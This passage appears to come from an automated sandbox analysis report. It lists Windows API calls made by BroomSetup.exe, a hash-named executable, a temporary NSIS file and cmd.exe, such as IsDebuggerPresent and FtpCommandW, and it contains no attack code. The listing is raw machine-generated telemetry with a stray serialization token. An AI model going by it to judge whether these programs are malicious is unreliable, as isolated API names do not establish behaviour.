"LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter UXTHEME (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter User32 (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter DWMAPI.DLL (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter gdi32.dll (UID: 00000000-00007532) "BroomSetup.exe" called "LoadLibrary" with a parameter Shcore.dll (UID: 00000000-00007532) "nsgF90E.tmp" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007428) "nsgF90E.tmp" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007428) "nsgF90E.tmp" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007428) "nsgF90E.tmp" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007428) "nsgF90E.tmp" called "LoadLibrary" with a parameter msimg32.dll (UID: 00000000-00007428) "nsgF90E.tmp" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007428) "nsgF90E.tmp" called "LoadLibrary" with a parameter user32 (UID: 00000000-00007428) "nsgF90E.tmp" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007428) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007012) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007012) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007012) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007012)30:T9043,"46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter GetUserDefaultUILanguage (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter get (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter FtpCommandW (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00005136) "46d44e00b19778dfb3f9615c774c8589.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00005136) "BroomSetup.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThreadUILanguage (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetDiskFreeSpaceExW (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VariantChangeTypeEx (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarNeg (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarNot (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarAdd (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarSub (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarMul (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarDiv (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarIdiv (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarMod (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarAnd (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarOr (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarXor (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarCmp (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarI4FromStr (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarR4FromStr (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarR8FromStr (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarDateFromStr (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarCyFromStr (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarBoolFromStr (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarBstrFromCy (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarBstrFromDate (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter VarBstrFromBool (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CoAddRefServerProcess (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CoReleaseServerProcess (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CoResumeClassObjects (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CoSuspendClassObjects (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter WTSRegisterSessionNotification (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter BufferedPaintInit (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter AnimateWindow (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter InitializeFlatSB (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter UninitializeFlatSB (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollProp (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollProp (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_EnableScrollBar (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_ShowScrollBar (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollRange (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollInfo (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_GetScrollPos (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollPos (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollInfo (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter FlatSB_SetScrollRange (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SetLayeredWindowAttributes (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter InitCommonControlsEx (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GradientFill (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDrawArc (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDrawLine (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipCreatePen1 (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdiplusShutdown (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDrawEllipse (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipFillEllipse (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipCreateFromHDC (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipCreateSolidFill (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipSetSmoothingMode (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDrawImageRectRect (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipSetCompositingMode (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipSetCompositingQuality (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDeleteGraphics (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipDisposeImage (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipBitmapLockBits (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipCreateBitmapFromScan0 (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GdipBitmapUnlockBits (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetScrollBarInfo (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeBackground (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeText (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeBackgroundContentRect (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeBackgroundExtent (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemePartSize (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeTextExtent (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeTextMetrics (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeBackgroundRegion (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter HitTestThemeBackground (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeEdge (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeIcon (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter IsThemePartDefined (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter IsThemeBackgroundPartiallyTransparent (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeColor (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeMetric (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeString (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeBool (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeInt (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeEnumValue (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemePosition (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeFont (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeRect (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeMargins (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeIntList (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemePropertyOrigin (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SetWindowTheme (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeFilename (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysColor (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysColorBrush (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysBool (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysSize (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysFont (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysString (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeSysInt (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter IsThemeActive (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetWindowTheme (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter EnableThemeDialogTexture (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter IsThemeDialogTextureEnabled (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SetThemeAppProperties (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetCurrentThemeName (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetThemeDocumentationProperty (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter DrawThemeParentBackground (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter EnableTheming (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SHGetFileInfoW (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SetProcessDPIAware (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter IsDebuggerPresent (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter DwmIsCompositionEnabled (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter SetLayout (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetLayout (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter UpdateLayeredWindow (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter AlphaBlend (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter GetDpiForMonitor (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter BeginBufferedPaint (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter EndBufferedPaint (UID: 00000000-00007532) "BroomSetup.exe" called "GetProcAddress" with a parameter BufferedPaintSetAlpha (UID: 00000000-00007532) "nsgF90E.tmp" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007428) "nsgF90E.tmp" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007428) "nsgF90E.tmp" called 